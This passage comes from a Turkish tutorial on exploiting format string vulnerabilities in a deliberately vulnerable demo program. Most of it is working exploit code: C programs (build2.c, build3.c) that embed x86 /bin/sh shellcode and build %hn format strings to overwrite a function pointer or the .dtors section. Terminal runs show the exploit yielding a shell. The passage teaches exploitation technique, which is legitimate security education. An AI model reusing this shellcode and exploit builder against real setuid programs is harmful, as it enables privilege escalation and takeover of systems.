Burada basit kullanımlar gördük. Aynı prensipleri kullanarak, kabuk elde edebiliriz. Bunun için ya kabuğu argv[] parametre olark vererek ya da çevre değişkeni kullanarak gerçekleştirebiliriz. Yapmamız gereken, .dtors bölümüne uygun adres değerini yerleştirmektir.

Şu anda bildiklerimiz:

• Belli sınırlamalar içerisinde yığıtı incelemeyi (Teorik olarak sınırlama yoktur, ancak yığıt üzerindeki kelimeleri tek tek incelemek oldukça yorucu bir işlemdir.).
• İstenilen adres değerini uygun adrese yazmayı.

Gerçekte programlar, örneğimizde olduğu gibi gözel (adres değerlerini belirten) değildir. Bunun için, belleğe bir kabuk koymayı ve daha sonra onun gerçek adresini veren bir yöntem tanıtacağız.

Buradaki fikir exec*() fonksiyonunun özyenilemeli olarak çalıştırmaya dayanmaktadır:

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0) 
    exit(0);
  execve(argv[0], arg, env);
}

>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

arg ve argv'nin adres değerlerinin ilk çalıştırmadan sonra değişmediğini hemen fark etmekteyiz. Bu özelliği daha sonra kullanacağız. build programımızı vuln programını çalıştırmadan önce kendi kendini çalıştıracak şekilde değiştiriyoruz. Böylece, argv'nin tam adresini ve kabuğun adresini elde etmekteyiz:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki aynı fonksiyon
}

int
main(int argc, char **argv) {
  
  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adres */
        &shellcode,
        atoi(argv[2]));              /* uzaklık */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adres */
        argv[2],
        atoi(argv[4]));              /* uzaklık */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

Buradaki püf nokta, programa verilen parametre sayısına göre ne çalıştıracağımızı bilmemizdedir. Başlamak için yapmamız gereken değiştireceğimiz adres değeri ile uzaklık bilgilerini build2 programına vermektir. Ardışık çalıştırmalar sonucunda gerekli değeri program kendisi hesaplayacağından, artık bu değeri vermemiz gerekmiyor.

Başarmak için build2 ve vuln programlarının ardışık çalıştırmaları sırasındaki bellek yapısını olduğu gibi korumamız gerekmektedir (bu nedenledir ki aynı bellek yapısını kullansın diye build() fonksiyon olarak kullanıyoruz):

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Neden çalışmadı? İki çalıştırma sırasında aynı bellek yapısını kullanmamız gerekmektedir demiştik, ancak bunu uygulamadık! argv[0] (programın adı) değişti. İlk önce programın adı build2 (6 byte) idi ve daha sonra vuln oldu (4 byte). Aradaki vark 2 byte'dır, bu yukarıdaki örnekte de fark edebileceğiniz değerdir. build2 ikinci defa çağırılması sırasında kabuğun adresi sc=0xbffff88f dir, ancak, vuln deki argv[2] değeri 20xbffff891, yani bizim 2 byte. Bunu çözmek için programın adını build2 den 4 karakterden oluşan bui2 olarak değiştirmek yeterli olacaktır:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$ 

Yine kazandık : bu şekilde daha iyi çalışmaktadır ;-) ptrf'nin gösterdiği adres değerini kabuğun adresini gösterecek şekilde değiştirdik. Tabii ki bu ancak yığıt çalıştırılabilir ise yapmak mümkün olmaktadır.

Biçimlendirme katarları her yere yazabileceğimizi sağlamaktadır, o zaman .dtors bölümüne yoketme fonksiyonu ekleyelim :

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........        
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Yoketme bölümüne kendi çıkış fonksiyonumuzu koyduğumuz için coredump oluşmadı. Bunun nedeni bizim kabuk programında exit(0) fonksiyonunu çağıran kısmın olmasıdır.

En sonunda, çevre değişkeni aracılıyla kabuk elde etmemizi sağlayan build3.c programını hediye olarak veriyoruz:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki aynı fonksiyon
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else 
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
    
  return 0;
}

Tekrar söylemek gerekirse, ortam yığıt üzerinde olduğundan bellek yapısını değiştirmememiz çok önemlidir (değişkenlerin ve programa verilen parametrelerin yerlerinin değiştirilmesi gibi). İkili (derlenmiş) programın adı, vuln ile aynı byte sayısına sahip olması gerekmektedir.

Değerleri atamak için extern char **environ envrensel değişkenler kullanmayı kararlaştırdık :

1. environ[0]: kabuk adresini içermekte;
2. environ[1]: değiştireceğimiz adres değerini içermektedir;
3. environ[2]: uzaklık değerini içermektedir.

Sonuç : biçimlendirme hatalarından nasıl kaçınabiliriz ?

Bilgi

Bağlantılar

• Biçimlendirme Hataları: Nedirler, nereden geliyorlar ve nasıl kullanılabilirler. lamagra.sekure.de lamagra dan.
• Biçimlendirme katarların tehlikeleri P. Bouchareine: www.hert.org
• Format String Attacks from Tim Newsham: http://www.guardent.com
• w00w00 on Heap Overflows deMatt Conover (a.k.a. Shok) & w00w00 Security Team: http://www.w00w00.org
• .dtors bölümünün değiştirilmesi.Juan M. Bello Rivas (a.k.a. rwxrwxrwx): http://synnergy.net